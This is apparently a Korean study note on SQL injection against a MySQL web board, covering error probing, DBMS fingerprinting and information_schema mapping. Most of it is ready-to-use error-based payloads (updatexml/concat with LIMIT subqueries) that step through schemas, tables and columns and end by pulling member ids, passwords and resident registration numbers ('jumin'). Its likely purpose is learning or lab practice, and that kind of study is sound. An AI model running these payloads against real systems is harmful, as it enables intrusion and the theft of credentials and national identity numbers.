SQL Injection

 

SQL 인젝션 프로세스
1. 에러 유무 / 취약점 진단

강제로 에러를 발생시키는 방법

 

' 입력 > 에러 발생

'%' or writer like '%'%' or content like '%'%' order by idx desc

SELECT * FROM board WHERE title = '  ';		# SQL문 예측 가능

 

-> 응용

1. 키워드 검색에서 오류 발생

2. url 주소에서 오류 발생

3. 정렬에서도 에러가 발생

-> 취약점 진단

웹 서버와 DB서버 간의 잘못된 쿼리를 날렸을 때 정상/비정상 반응이 나오게 하는 방법

idx에서 더하기 혹은 빼기를 해본다

3+2는 안된다 > url 인코딩으로 인해 + 기호가 공백으로 처리됨

+를 하기위해선 url 인코딩하면 + = %2b이므로 3%2b2를 하면 5번 글로 이동 가능

keyword Input 칸에 ' or 1=1 # 을 search하면 모든 글이 다 보인다

keyword Input 칸에 ' or 1=2#을 search 하면 아무런 글 검색도 되지 않는다

SELECT * FROM board WHERE title = '  ';			# 기존 쿼리문
SELECT * FROM board WHERE title = '' or 1=1 # ';	# True
SELECT * FROM board WHERE title = '' and 1=2 # ';	# False

keyword Input칸에 ' or 1=1 and '%'=' 를 사용하면 주석처리가 필요하지 않다

뒤에 있는 문장을 주석으로 파괴시켜서 진행하는 방법 > Terminating Query

뒤에 있는 문장을 살려서 진행하는 방법 > In-line Query

 

2. 환경분석

MySQL / Oracle / MsSQL

> 각각 가지고 있는 함수나 메타 데이터가 다르기 때문에 환경 분석을 꼭 해줘야한다

1. 연결 연산자

MySQL : 공백 ex) ' test ' == ' te ' ' st '

Oracle : || ex) ' test ' == ' te ' || ' st '

MsSQL : + ex) ' test ' == ' te ' + ' st '

te' 'st 를 검색했을때 test로 검색된다 >> MySQL임을 추측 가능

Oracle 함수 사용 불가능

MsSQL 함수 사용 불가능

내림차순으로 검색 가능

2. DBMS의 고유 함수

MySQL : mid(), substr(), substring()

Oracle : substr()

MsSQL : substring()

 

 # test라는 글자에서 1번째 글자에서 1개까지 출력하시오

substr('test',1,1) = t

 # test라는 글자에서 3번째 글자에서 2개까지 출력하시오

substr('test', 3, 2) = st

 

3. 공격 기법 선택

- Error Based : ' and updatexml (0x0a,concat(0x0a,database()),0x0a) #

- Union Based

- Blind Based

- Time Based

 

정보 추출 속도 차이

Union > Error >>>>>>> Blind >>>>>>> Time

 

information_schema : 메타 데이터 정보를 모아놓은 데이터 베이스

 

4. 메타 데이터 맵 완성

기본정보 3가지 찾기

database()

system_user()

version()

 

 ' and updatexml (0x0a,concat(0x0a,(공격구문)),0x0a) #

기본정보 3가지 찾기 database()

기본정보 3가지 찾기 database()

system_user()

system_user()

version()

version()

' and updatexml (0x0a,concat(0x0a,system_user()),0x0a) #

메타 데이터 매핑

SCHEMATA : 현재 사용중인 데이터 베이스 목록

TABLES : 현재 사용중인 테이블 목록

COLUMNS : 현재 사용중인 컬럼 목록

 

가장 처음에 DB 목록화

< 순차 접근 방식 >

많은 시간과 트래픽을 소모하지만 중요 정보를 놓칠 확률이 적다

SELECT * FROM information_schema.schemata

SCHEMA_NAME : 데이터베이스 이름을 모아놓은 항목

TABLE_SCHEMA라는 컬럼이 데이터베이스 이름 , TABLE_NAME이라는 컬럼이 테이블 이름

TABLE_SCHEMA : 데이터 베이스 이름 , TABLE_NAME : 테이블 이름, COLUMN_NAME : 컬럼 이름

information_schema 항목에서 phpmyadmin 이라는 데이터베이스의 메타데이터맵을 완성

< 비 순차 접근 방식 >

적은 시간과 트래픽을 소모하지막 중요 정보를 놓칠 확률이 높다

 

SELECT * FROM information_schema.tables WHERE table_name like '%mem%'

 

' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata )),0x0a) #

 

서브쿼리 : 반드시 1개의 열과 1개의 행만 있어야한다. > limit 절을 사용한다.

' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1)),0x0a) #

---

' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 1,1)),0x0a) #

---

5. 정보 추출

' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 0,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 1,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 0,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 1,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 2,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 3,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='members' LIMIT 3,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 4,1)),0x0a) #

---

' and updatexml (0x0a,concat(0x0a,(SELECT id FROM members LIMIT 0,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT id FROM members LIMIT 1,1)),0x0a) #

---

' and updatexml (0x0a,concat(0x0a,(SELECT password FROM members LIMIT 0,1)),0x0a) #

' and updatexml (0x0a,concat(0x0a,(SELECT password FROM members LIMIT 1,1)),0x0a) #

---

' and updatexml (0x0a,concat(0x0a,(SELECT jumin FROM members LIMIT 0,1)),0x0a) #